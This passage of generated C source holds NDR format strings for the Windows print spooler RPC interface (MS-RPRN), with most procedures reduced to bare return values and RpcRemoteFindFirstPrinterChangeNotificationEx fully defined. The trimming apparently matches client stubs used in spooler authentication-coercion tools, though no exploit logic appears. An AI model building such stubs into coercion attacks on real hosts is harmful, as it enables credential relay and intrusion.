1826 */ NdrFcShort( 0x0 ), /* 0 */ 1525 | /* 1828 */ NdrFcShort( 0x0 ), /* 0 */ 1526 | /* 1830 */ NdrFcShort( 0x0 ), /* 0 */ 1527 | /* 1832 */ NdrFcShort( 0x0 ), /* 0 */ 1528 | 1529 | /* Procedure RpcEnumPrintProcessorDatatypes */ 1530 | 1531 | /* 1834 */ 0x0, /* 0 */ 1532 | 0x48, /* Old Flags: */ 1533 | /* 1836 */ NdrFcLong( 0x0 ), /* 0 */ 1534 | /* 1840 */ NdrFcShort( 0x33 ), /* 51 */ 1535 | /* 1842 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1536 | /* 1844 */ 0x32, /* FC_BIND_PRIMITIVE */ 1537 | 0x0, /* 0 */ 1538 | /* 1846 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1539 | /* 1848 */ NdrFcShort( 0x0 ), /* 0 */ 1540 | /* 1850 */ NdrFcShort( 0x8 ), /* 8 */ 1541 | /* 1852 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1542 | 0x1, /* 1 */ 1543 | /* 1854 */ 0xa, /* 10 */ 1544 | 0x1, /* Ext Flags: new corr desc, */ 1545 | /* 1856 */ NdrFcShort( 0x0 ), /* 0 */ 1546 | /* 1858 */ NdrFcShort( 0x0 ), /* 0 */ 1547 | /* 1860 */ NdrFcShort( 0x0 ), /* 0 */ 1548 | /* 1862 */ NdrFcShort( 0x0 ), /* 0 */ 1549 | 1550 | /* Return value */ 1551 | 1552 | /* 1864 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1553 | /* 1866 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1554 | /* 1868 */ 0x8, /* FC_LONG */ 1555 | 0x0, /* 0 */ 1556 | 1557 | /* Procedure RpcResetPrinter */ 1558 | 1559 | /* 1870 */ 0x0, /* 0 */ 1560 | 0x48, /* Old Flags: */ 1561 | /* 1872 */ NdrFcLong( 0x0 ), /* 0 */ 1562 | /* 1876 */ NdrFcShort( 0x34 ), /* 52 */ 1563 | /* 1878 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1564 | /* 1880 */ 0x32, /* FC_BIND_PRIMITIVE */ 1565 | 0x0, /* 0 */ 1566 | /* 1882 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1567 | /* 1884 */ NdrFcShort( 0x0 ), /* 0 */ 1568 | /* 1886 */ NdrFcShort( 0x8 ), /* 8 */ 1569 | /* 1888 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1570 | 0x1, /* 1 */ 1571 | /* 1890 */ 0xa, /* 10 */ 1572 | 0x1, /* Ext Flags: new corr desc, */ 1573 | /* 1892 */ NdrFcShort( 0x0 ), /* 0 */ 1574 | /* 1894 */ NdrFcShort( 0x0 ), /* 0 */ 1575 | /* 1896 */ NdrFcShort( 0x0 ), /* 0 */ 1576 | /* 1898 */ NdrFcShort( 0x0 ), /* 0 */ 1577 | 1578 | /* Return value */ 1579 | 1580 | /* 1900 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1581 | /* 1902 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1582 | /* 1904 */ 0x8, /* FC_LONG */ 1583 | 0x0, /* 0 */ 1584 | 1585 | /* Procedure RpcGetPrinterDriver2 */ 1586 | 1587 | /* 1906 */ 0x0, /* 0 */ 1588 | 0x48, /* Old Flags: */ 1589 | /* 1908 */ NdrFcLong( 0x0 ), /* 0 */ 1590 | /* 1912 */ NdrFcShort( 0x35 ), /* 53 */ 1591 | /* 1914 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1592 | /* 1916 */ 0x32, /* FC_BIND_PRIMITIVE */ 1593 | 0x0, /* 0 */ 1594 | /* 1918 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1595 | /* 1920 */ NdrFcShort( 0x0 ), /* 0 */ 1596 | /* 1922 */ NdrFcShort( 0x8 ), /* 8 */ 1597 | /* 1924 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1598 | 0x1, /* 1 */ 1599 | /* 1926 */ 0xa, /* 10 */ 1600 | 0x1, /* Ext Flags: new corr desc, */ 1601 | /* 1928 */ NdrFcShort( 0x0 ), /* 0 */ 1602 | /* 1930 */ NdrFcShort( 0x0 ), /* 0 */ 1603 | /* 1932 */ NdrFcShort( 0x0 ), /* 0 */ 1604 | /* 1934 */ NdrFcShort( 0x0 ), /* 0 */ 1605 | 1606 | /* Return value */ 1607 | 1608 | /* 1936 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1609 | /* 1938 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1610 | /* 1940 */ 0x8, /* FC_LONG */ 1611 | 0x0, /* 0 */ 1612 | 1613 | /* Procedure Opnum54NotUsedOnWire */ 1614 | 1615 | /* 1942 */ 0x0, /* 0 */ 1616 | 0x48, /* Old Flags: */ 1617 | /* 1944 */ NdrFcLong( 0x0 ), /* 0 */ 1618 | /* 1948 */ NdrFcShort( 0x36 ), /* 54 */ 1619 | /* 1950 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1620 | /* 1952 */ 0x32, /* FC_BIND_PRIMITIVE */ 1621 | 0x0, /* 0 */ 1622 | /* 1954 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1623 | /* 1956 */ NdrFcShort( 0x0 ), /* 0 */ 1624 | /* 1958 */ NdrFcShort( 0x0 ), /* 0 */ 1625 | /* 1960 */ 0x40, /* Oi2 Flags: has ext, */ 1626 | 0x0, /* 0 */ 1627 | /* 1962 */ 0xa, /* 10 */ 1628 | 0x1, /* Ext Flags: new corr desc, */ 1629 | /* 1964 */ NdrFcShort( 0x0 ), /* 0 */ 1630 | /* 1966 */ NdrFcShort( 0x0 ), /* 0 */ 1631 | /* 1968 */ NdrFcShort( 0x0 ), /* 0 */ 1632 | /* 1970 */ NdrFcShort( 0x0 ), /* 0 */ 1633 | 1634 | /* Procedure Opnum55NotUsedOnWire */ 1635 | 1636 | /* 1972 */ 0x0, /* 0 */ 1637 | 0x48, /* Old Flags: */ 1638 | /* 1974 */ NdrFcLong( 0x0 ), /* 0 */ 1639 | /* 1978 */ NdrFcShort( 0x37 ), /* 55 */ 1640 | /* 1980 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1641 | /* 1982 */ 0x32, /* FC_BIND_PRIMITIVE */ 1642 | 0x0, /* 0 */ 1643 | /* 1984 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1644 | /* 1986 */ NdrFcShort( 0x0 ), /* 0 */ 1645 | /* 1988 */ NdrFcShort( 0x0 ), /* 0 */ 1646 | /* 1990 */ 0x40, /* Oi2 Flags: has ext, */ 1647 | 0x0, /* 0 */ 1648 | /* 1992 */ 0xa, /* 10 */ 1649 | 0x1, /* Ext Flags: new corr desc, */ 1650 | /* 1994 */ NdrFcShort( 0x0 ), /* 0 */ 1651 | /* 1996 */ NdrFcShort( 0x0 ), /* 0 */ 1652 | /* 1998 */ NdrFcShort( 0x0 ), /* 0 */ 1653 | /* 2000 */ NdrFcShort( 0x0 ), /* 0 */ 1654 | 1655 | /* Procedure RpcFindClosePrinterChangeNotification */ 1656 | 1657 | /* 2002 */ 0x0, /* 0 */ 1658 | 0x48, /* Old Flags: */ 1659 | /* 2004 */ NdrFcLong( 0x0 ), /* 0 */ 1660 | /* 2008 */ NdrFcShort( 0x38 ), /* 56 */ 1661 | /* 2010 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1662 | /* 2012 */ 0x32, /* FC_BIND_PRIMITIVE */ 1663 | 0x0, /* 0 */ 1664 | /* 2014 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1665 | /* 2016 */ NdrFcShort( 0x0 ), /* 0 */ 1666 | /* 2018 */ NdrFcShort( 0x8 ), /* 8 */ 1667 | /* 2020 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1668 | 0x1, /* 1 */ 1669 | /* 2022 */ 0xa, /* 10 */ 1670 | 0x1, /* Ext Flags: new corr desc, */ 1671 | /* 2024 */ NdrFcShort( 0x0 ), /* 0 */ 1672 | /* 2026 */ NdrFcShort( 0x0 ), /* 0 */ 1673 | /* 2028 */ NdrFcShort( 0x0 ), /* 0 */ 1674 | /* 2030 */ NdrFcShort( 0x0 ), /* 0 */ 1675 | 1676 | /* Return value */ 1677 | 1678 | /* 2032 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1679 | /* 2034 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1680 | /* 2036 */ 0x8, /* FC_LONG */ 1681 | 0x0, /* 0 */ 1682 | 1683 | /* Procedure Opnum57NotUsedOnWire */ 1684 | 1685 | /* 2038 */ 0x0, /* 0 */ 1686 | 0x48, /* Old Flags: */ 1687 | /* 2040 */ NdrFcLong( 0x0 ), /* 0 */ 1688 | /* 2044 */ NdrFcShort( 0x39 ), /* 57 */ 1689 | /* 2046 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1690 | /* 2048 */ 0x32, /* FC_BIND_PRIMITIVE */ 1691 | 0x0, /* 0 */ 1692 | /* 2050 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1693 | /* 2052 */ NdrFcShort( 0x0 ), /* 0 */ 1694 | /* 2054 */ NdrFcShort( 0x0 ), /* 0 */ 1695 | /* 2056 */ 0x40, /* Oi2 Flags: has ext, */ 1696 | 0x0, /* 0 */ 1697 | /* 2058 */ 0xa, /* 10 */ 1698 | 0x1, /* Ext Flags: new corr desc, */ 1699 | /* 2060 */ NdrFcShort( 0x0 ), /* 0 */ 1700 | /* 2062 */ NdrFcShort( 0x0 ), /* 0 */ 1701 | /* 2064 */ NdrFcShort( 0x0 ), /* 0 */ 1702 | /* 2066 */ NdrFcShort( 0x0 ), /* 0 */ 1703 | 1704 | /* Procedure RpcReplyOpenPrinter */ 1705 | 1706 | /* 2068 */ 0x0, /* 0 */ 1707 | 0x48, /* Old Flags: */ 1708 | /* 2070 */ NdrFcLong( 0x0 ), /* 0 */ 1709 | /* 2074 */ NdrFcShort( 0x3a ), /* 58 */ 1710 | /* 2076 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1711 | /* 2078 */ 0x32, /* FC_BIND_PRIMITIVE */ 1712 | 0x0, /* 0 */ 1713 | /* 2080 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1714 | /* 2082 */ NdrFcShort( 0x0 ), /* 0 */ 1715 | /* 2084 */ NdrFcShort( 0x8 ), /* 8 */ 1716 | /* 2086 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1717 | 0x1, /* 1 */ 1718 | /* 2088 */ 0xa, /* 10 */ 1719 | 0x1, /* Ext Flags: new corr desc, */ 1720 | /* 2090 */ NdrFcShort( 0x0 ), /* 0 */ 1721 | /* 2092 */ NdrFcShort( 0x0 ), /* 0 */ 1722 | /* 2094 */ NdrFcShort( 0x0 ), /* 0 */ 1723 | /* 2096 */ NdrFcShort( 0x0 ), /* 0 */ 1724 | 1725 | /* Return value */ 1726 | 1727 | /* 2098 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1728 | /* 2100 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1729 | /* 2102 */ 0x8, /* FC_LONG */ 1730 | 0x0, /* 0 */ 1731 | 1732 | /* Procedure RpcRouterReplyPrinter */ 1733 | 1734 | /* 2104 */ 0x0, /* 0 */ 1735 | 0x48, /* Old Flags: */ 1736 | /* 2106 */ NdrFcLong( 0x0 ), /* 0 */ 1737 | /* 2110 */ NdrFcShort( 0x3b ), /* 59 */ 1738 | /* 2112 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1739 | /* 2114 */ 0x32, /* FC_BIND_PRIMITIVE */ 1740 | 0x0, /* 0 */ 1741 | /* 2116 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1742 | /* 2118 */ NdrFcShort( 0x0 ), /* 0 */ 1743 | /* 2120 */ NdrFcShort( 0x8 ), /* 8 */ 1744 | /* 2122 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1745 | 0x1, /* 1 */ 1746 | /* 2124 */ 0xa, /* 10 */ 1747 | 0x1, /* Ext Flags: new corr desc, */ 1748 | /* 2126 */ NdrFcShort( 0x0 ), /* 0 */ 1749 | /* 2128 */ NdrFcShort( 0x0 ), /* 0 */ 1750 | /* 2130 */ NdrFcShort( 0x0 ), /* 0 */ 1751 | /* 2132 */ NdrFcShort( 0x0 ), /* 0 */ 1752 | 1753 | /* Return value */ 1754 | 1755 | /* 2134 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1756 | /* 2136 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1757 | /* 2138 */ 0x8, /* FC_LONG */ 1758 | 0x0, /* 0 */ 1759 | 1760 | /* Procedure RpcReplyClosePrinter */ 1761 | 1762 | /* 2140 */ 0x0, /* 0 */ 1763 | 0x48, /* Old Flags: */ 1764 | /* 2142 */ NdrFcLong( 0x0 ), /* 0 */ 1765 | /* 2146 */ NdrFcShort( 0x3c ), /* 60 */ 1766 | /* 2148 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1767 | /* 2150 */ 0x32, /* FC_BIND_PRIMITIVE */ 1768 | 0x0, /* 0 */ 1769 | /* 2152 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1770 | /* 2154 */ NdrFcShort( 0x0 ), /* 0 */ 1771 | /* 2156 */ NdrFcShort( 0x8 ), /* 8 */ 1772 | /* 2158 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1773 | 0x1, /* 1 */ 1774 | /* 2160 */ 0xa, /* 10 */ 1775 | 0x1, /* Ext Flags: new corr desc, */ 1776 | /* 2162 */ NdrFcShort( 0x0 ), /* 0 */ 1777 | /* 2164 */ NdrFcShort( 0x0 ), /* 0 */ 1778 | /* 2166 */ NdrFcShort( 0x0 ), /* 0 */ 1779 | /* 2168 */ NdrFcShort( 0x0 ), /* 0 */ 1780 | 1781 | /* Return value */ 1782 | 1783 | /* 2170 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1784 | /* 2172 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1785 | /* 2174 */ 0x8, /* FC_LONG */ 1786 | 0x0, /* 0 */ 1787 | 1788 | /* Procedure RpcAddPortEx */ 1789 | 1790 | /* 2176 */ 0x0, /* 0 */ 1791 | 0x48, /* Old Flags: */ 1792 | /* 2178 */ NdrFcLong( 0x0 ), /* 0 */ 1793 | /* 2182 */ NdrFcShort( 0x3d ), /* 61 */ 1794 | /* 2184 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1795 | /* 2186 */ 0x32, /* FC_BIND_PRIMITIVE */ 1796 | 0x0, /* 0 */ 1797 | /* 2188 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1798 | /* 2190 */ NdrFcShort( 0x0 ), /* 0 */ 1799 | /* 2192 */ NdrFcShort( 0x8 ), /* 8 */ 1800 | /* 2194 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1801 | 0x1, /* 1 */ 1802 | /* 2196 */ 0xa, /* 10 */ 1803 | 0x1, /* Ext Flags: new corr desc, */ 1804 | /* 2198 */ NdrFcShort( 0x0 ), /* 0 */ 1805 | /* 2200 */ NdrFcShort( 0x0 ), /* 0 */ 1806 | /* 2202 */ NdrFcShort( 0x0 ), /* 0 */ 1807 | /* 2204 */ NdrFcShort( 0x0 ), /* 0 */ 1808 | 1809 | /* Return value */ 1810 | 1811 | /* 2206 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1812 | /* 2208 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1813 | /* 2210 */ 0x8, /* FC_LONG */ 1814 | 0x0, /* 0 */ 1815 | 1816 | /* Procedure RpcRemoteFindFirstPrinterChangeNotification */ 1817 | 1818 | /* 2212 */ 0x0, /* 0 */ 1819 | 0x48, /* Old Flags: */ 1820 | /* 2214 */ NdrFcLong( 0x0 ), /* 0 */ 1821 | /* 2218 */ NdrFcShort( 0x3e ), /* 62 */ 1822 | /* 2220 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1823 | /* 2222 */ 0x32, /* FC_BIND_PRIMITIVE */ 1824 | 0x0, /* 0 */ 1825 | /* 2224 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1826 | /* 2226 */ NdrFcShort( 0x0 ), /* 0 */ 1827 | /* 2228 */ NdrFcShort( 0x8 ), /* 8 */ 1828 | /* 2230 */ 0x44, /* Oi2 Flags: has return, has ext, */ 1829 | 0x1, /* 1 */ 1830 | /* 2232 */ 0xa, /* 10 */ 1831 | 0x1, /* Ext Flags: new corr desc, */ 1832 | /* 2234 */ NdrFcShort( 0x0 ), /* 0 */ 1833 | /* 2236 */ NdrFcShort( 0x0 ), /* 0 */ 1834 | /* 2238 */ NdrFcShort( 0x0 ), /* 0 */ 1835 | /* 2240 */ NdrFcShort( 0x0 ), /* 0 */ 1836 | 1837 | /* Return value */ 1838 | 1839 | /* 2242 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1840 | /* 2244 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1841 | /* 2246 */ 0x8, /* FC_LONG */ 1842 | 0x0, /* 0 */ 1843 | 1844 | /* Procedure Opnum63NotUsedOnWire */ 1845 | 1846 | /* 2248 */ 0x0, /* 0 */ 1847 | 0x48, /* Old Flags: */ 1848 | /* 2250 */ NdrFcLong( 0x0 ), /* 0 */ 1849 | /* 2254 */ NdrFcShort( 0x3f ), /* 63 */ 1850 | /* 2256 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1851 | /* 2258 */ 0x32, /* FC_BIND_PRIMITIVE */ 1852 | 0x0, /* 0 */ 1853 | /* 2260 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1854 | /* 2262 */ NdrFcShort( 0x0 ), /* 0 */ 1855 | /* 2264 */ NdrFcShort( 0x0 ), /* 0 */ 1856 | /* 2266 */ 0x40, /* Oi2 Flags: has ext, */ 1857 | 0x0, /* 0 */ 1858 | /* 2268 */ 0xa, /* 10 */ 1859 | 0x1, /* Ext Flags: new corr desc, */ 1860 | /* 2270 */ NdrFcShort( 0x0 ), /* 0 */ 1861 | /* 2272 */ NdrFcShort( 0x0 ), /* 0 */ 1862 | /* 2274 */ NdrFcShort( 0x0 ), /* 0 */ 1863 | /* 2276 */ NdrFcShort( 0x0 ), /* 0 */ 1864 | 1865 | /* Procedure Opnum64NotUsedOnWire */ 1866 | 1867 | /* 2278 */ 0x0, /* 0 */ 1868 | 0x48, /* Old Flags: */ 1869 | /* 2280 */ NdrFcLong( 0x0 ), /* 0 */ 1870 | /* 2284 */ NdrFcShort( 0x40 ), /* 64 */ 1871 | /* 2286 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1872 | /* 2288 */ 0x32, /* FC_BIND_PRIMITIVE */ 1873 | 0x0, /* 0 */ 1874 | /* 2290 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1875 | /* 2292 */ NdrFcShort( 0x0 ), /* 0 */ 1876 | /* 2294 */ NdrFcShort( 0x0 ), /* 0 */ 1877 | /* 2296 */ 0x40, /* Oi2 Flags: has ext, */ 1878 | 0x0, /* 0 */ 1879 | /* 2298 */ 0xa, /* 10 */ 1880 | 0x1, /* Ext Flags: new corr desc, */ 1881 | /* 2300 */ NdrFcShort( 0x0 ), /* 0 */ 1882 | /* 2302 */ NdrFcShort( 0x0 ), /* 0 */ 1883 | /* 2304 */ NdrFcShort( 0x0 ), /* 0 */ 1884 | /* 2306 */ NdrFcShort( 0x0 ), /* 0 */ 1885 | 1886 | /* Procedure RpcRemoteFindFirstPrinterChangeNotificationEx */ 1887 | 1888 | /* 2308 */ 0x0, /* 0 */ 1889 | 0x48, /* Old Flags: */ 1890 | /* 2310 */ NdrFcLong( 0x0 ), /* 0 */ 1891 | /* 2314 */ NdrFcShort( 0x41 ), /* 65 */ 1892 | /* 2316 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ 1893 | /* 2318 */ 0x30, /* FC_BIND_CONTEXT */ 1894 | 0x40, /* Ctxt flags: in, */ 1895 | /* 2320 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1896 | /* 2322 */ 0x0, /* 0 */ 1897 | 0x0, /* 0 */ 1898 | /* 2324 */ NdrFcShort( 0x3c ), /* 60 */ 1899 | /* 2326 */ NdrFcShort( 0x8 ), /* 8 */ 1900 | /* 2328 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ 1901 | 0x7, /* 7 */ 1902 | /* 2330 */ 0xa, /* 10 */ 1903 | 0x5, /* Ext Flags: new corr desc, srv corr check, */ 1904 | /* 2332 */ NdrFcShort( 0x0 ), /* 0 */ 1905 | /* 2334 */ NdrFcShort( 0x1 ), /* 1 */ 1906 | /* 2336 */ NdrFcShort( 0x0 ), /* 0 */ 1907 | /* 2338 */ NdrFcShort( 0x0 ), /* 0 */ 1908 | 1909 | /* Parameter hPrinter */ 1910 | 1911 | /* 2340 */ NdrFcShort( 0x8 ), /* Flags: in, */ 1912 | /* 2342 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ 1913 | /* 2344 */ NdrFcShort( 0x36 ), /* Type Offset=54 */ 1914 | 1915 | /* Parameter fdwFlags */ 1916 | 1917 | /* 2346 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 1918 | /* 2348 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ 1919 | /* 2350 */ 0x8, /* FC_LONG */ 1920 | 0x0, /* 0 */ 1921 | 1922 | /* Parameter fdwOptions */ 1923 | 1924 | /* 2352 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 1925 | /* 2354 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ 1926 | /* 2356 */ 0x8, /* FC_LONG */ 1927 | 0x0, /* 0 */ 1928 | 1929 | /* Parameter pszLocalMachine */ 1930 | 1931 | /* 2358 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 1932 | /* 2360 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ 1933 | /* 2362 */ NdrFcShort( 0x2 ), /* Type Offset=2 */ 1934 | 1935 | /* Parameter dwPrinterLocal */ 1936 | 1937 | /* 2364 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ 1938 | /* 2366 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ 1939 | /* 2368 */ 0x8, /* FC_LONG */ 1940 | 0x0, /* 0 */ 1941 | 1942 | /* Parameter pOptions */ 1943 | 1944 | /* 2370 */ NdrFcShort( 0xb ), /* Flags: must size, must free, in, */ 1945 | /* 2372 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ 1946 | /* 2374 */ NdrFcShort( 0x3a ), /* Type Offset=58 */ 1947 | 1948 | /* Return value */ 1949 | 1950 | /* 2376 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ 1951 | /* 2378 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ 1952 | /* 2380 */ 0x8, /* FC_LONG */ 1953 | 0x0, /* 0 */ 1954 | 1955 | 0x0 1956 | } 1957 | }; 1958 | 1959 | static const ms2Drprn_MIDL_TYPE_FORMAT_STRING ms2Drprn__MIDL_TypeFormatString = 1960 | { 1961 | 0, 1962 | { 1963 | NdrFcShort( 0x0 ), /* 0 */ 1964 | /* 2 */ 1965 | 0x12, 0x8, /* FC_UP [simple_pointer] */ 1966 | /* 4 */ 1967 | 0x25, /* FC_C_WSTRING */ 1968 | 0x5c, /* FC_PAD */ 1969 | /* 6 */ 1970 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */ 1971 | /* 8 */ NdrFcShort( 0x2 ), /* Offset= 2 (10) */ 1972 | /* 10 */ 0x30, /* FC_BIND_CONTEXT */ 1973 | 0xa0, /* Ctxt flags: via ptr, out, */ 1974 | /* 12 */ 0x0, /* 0 */ 1975 | 0x0, /* 0 */ 1976 | /* 14 */ 1977 | 0x11, 0x0, /* FC_RP */ 1978 | /* 16 */ NdrFcShort( 0xe ), /* Offset= 14 (30) */ 1979 | /* 18 */ 1980 | 0x1b, /* FC_CARRAY */ 1981 | 0x0, /* 0 */ 1982 | /* 20 */ NdrFcShort( 0x1 ), /* 1 */ 1983 | /* 22 */ 0x19, /* Corr desc: field pointer, FC_ULONG */ 1984 | 0x0, /* */ 1985 | /* 24 */ NdrFcShort( 0x0 ), /* 0 */ 1986 | /* 26 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ 1987 | /* 28 */ 0x1, /* FC_BYTE */ 1988 | 0x5b, /* FC_END */ 1989 | /* 30 */ 1990 | 0x1a, /* FC_BOGUS_STRUCT */ 1991 | 0x3, /* 3 */ 1992 | /* 32 */ NdrFcShort( 0x10 ), /* 16 */ 1993 | /* 34 */ NdrFcShort( 0x0 ), /* 0 */ 1994 | /* 36 */ NdrFcShort( 0x6 ), /* Offset= 6 (42) */ 1995 | /* 38 */ 0x8, /* FC_LONG */ 1996 | 0x40, /* FC_STRUCTPAD4 */ 1997 | /* 40 */ 0x36, /* FC_POINTER */ 1998 | 0x5b, /* FC_END */ 1999 | /* 42 */ 2000 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ 2001 | /* 44 */ NdrFcShort( 0xffe6 ), /* Offset= -26 (18) */ 2002 | /* 46 */ 2003 | 0x11, 0x4, /* FC_RP [alloced_on_stack] */ 2004 | /* 48 */ NdrFcShort( 0x2 ), /* Offset= 2 (50) */ 2005 | /* 50 */ 0x30, /* FC_BIND_CONTEXT */ 2006 | 0xe1, /* Ctxt flags: via ptr, in, out, can't be null */ 2007 | /* 52 */ 0x0, /* 0 */ 2008 | 0x0, /* 0 */ 2009 | /* 54 */ 0x30, /* FC_BIND_CONTEXT */ 2010 | 0x41, /* Ctxt flags: in, can't be null */ 2011 | /* 56 */ 0x0, /* 0 */ 2012 | 0x0, /* 0 */ 2013 | /* 58 */ 2014 | 0x12, 0x0, /* FC_UP */ 2015 | /* 60 */ NdrFcShort( 0x38 ), /* Offset= 56 (116) */ 2016 | /* 62 */ 2017 | 0x1b, /* FC_CARRAY */ 2018 | 0x1, /* 1 */ 2019 | /* 64 */ NdrFcShort( 0x2 ), /* 2 */ 2020 | /* 66 */ 0x19, /* Corr desc: field pointer, FC_ULONG */ 2021 | 0x0, /* */ 2022 | /* 68 */ NdrFcShort( 0xc ), /* 12 */ 2023 | /* 70 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ 2024 | /* 72 */ 0x6, /* FC_SHORT */ 2025 | 0x5b, /* FC_END */ 2026 | /* 74 */ 2027 | 0x1a, /* FC_BOGUS_STRUCT */ 2028 | 0x3, /* 3 */ 2029 | /* 76 */ NdrFcShort( 0x18 ), /* 24 */ 2030 | /* 78 */ NdrFcShort( 0x0 ), /* 0 */ 2031 | /* 80 */ NdrFcShort( 0xa ), /* Offset= 10 (90) */ 2032 | /* 82 */ 0x6, /* FC_SHORT */ 2033 | 0x6, /* FC_SHORT */ 2034 | /* 84 */ 0x8, /* FC_LONG */ 2035 | 0x8, /* FC_LONG */ 2036 | /* 86 */ 0x8, /* FC_LONG */ 2037 | 0x36, /* FC_POINTER */ 2038 | /* 88 */ 0x5c, /* FC_PAD */ 2039 | 0x5b, /* FC_END */ 2040 | /* 90 */ 2041 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ 2042 | /* 92 */ NdrFcShort( 0xffe2 ), /* Offset= -30 (62) */ 2043 | /* 94 */ 2044 | 0x21, /* FC_BOGUS_ARRAY */ 2045 | 0x3, /* 3 */ 2046 | /* 96 */ NdrFcShort( 0x0 ), /* 0 */ 2047 | /* 98 */ 0x19, /* Corr desc: field pointer, FC_ULONG */ 2048 | 0x0, /* */ 2049 | /* 100 */ NdrFcShort( 0x8 ), /* 8 */ 2050 | /* 102 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ 2051 | /* 104 */ NdrFcLong( 0xffffffff ), /* -1 */ 2052 | /* 108 */ NdrFcShort( 0x0 ), /* Corr flags: */ 2053 | /* 110 */ 0x4c, /* FC_EMBEDDED_COMPLEX */ 2054 | 0x0, /* 0 */ 2055 | /* 112 */ NdrFcShort( 0xffda ), /* Offset= -38 (74) */ 2056 | /* 114 */ 0x5c, /* FC_PAD */ 2057 | 0x5b, /* FC_END */ 2058 | /* 116 */ 2059 | 0x1a, /* FC_BOGUS_STRUCT */ 2060 | 0x3, /* 3 */ 2061 | /* 118 */ NdrFcShort( 0x18 ), /* 24 */ 2062 | /* 120 */ NdrFcShort( 0x0 ), /* 0 */ 2063 | /* 122 */ NdrFcShort( 0x8 ), /* Offset= 8 (130) */ 2064 | /* 124 */ 0x8, /* FC_LONG */ 2065 | 0x8, /* FC_LONG */ 2066 | /* 126 */ 0x8, /* FC_LONG */ 2067 | 0x40, /* FC_STRUCTPAD4 */ 2068 | /* 128 */ 0x36, /* FC_POINTER */ 2069 | 0x5b, /* FC_END */ 2070 | /* 130 */ 2071 | 0x12, 0x20, /* FC_UP [maybenull_sizeis] */ 2072 | /* 132 */ NdrFcShort( 0xffda ), /* Offset= -38 (94) */ 2073 | 2074 | 0x0 2075 | } 2076 | }; 2077 | 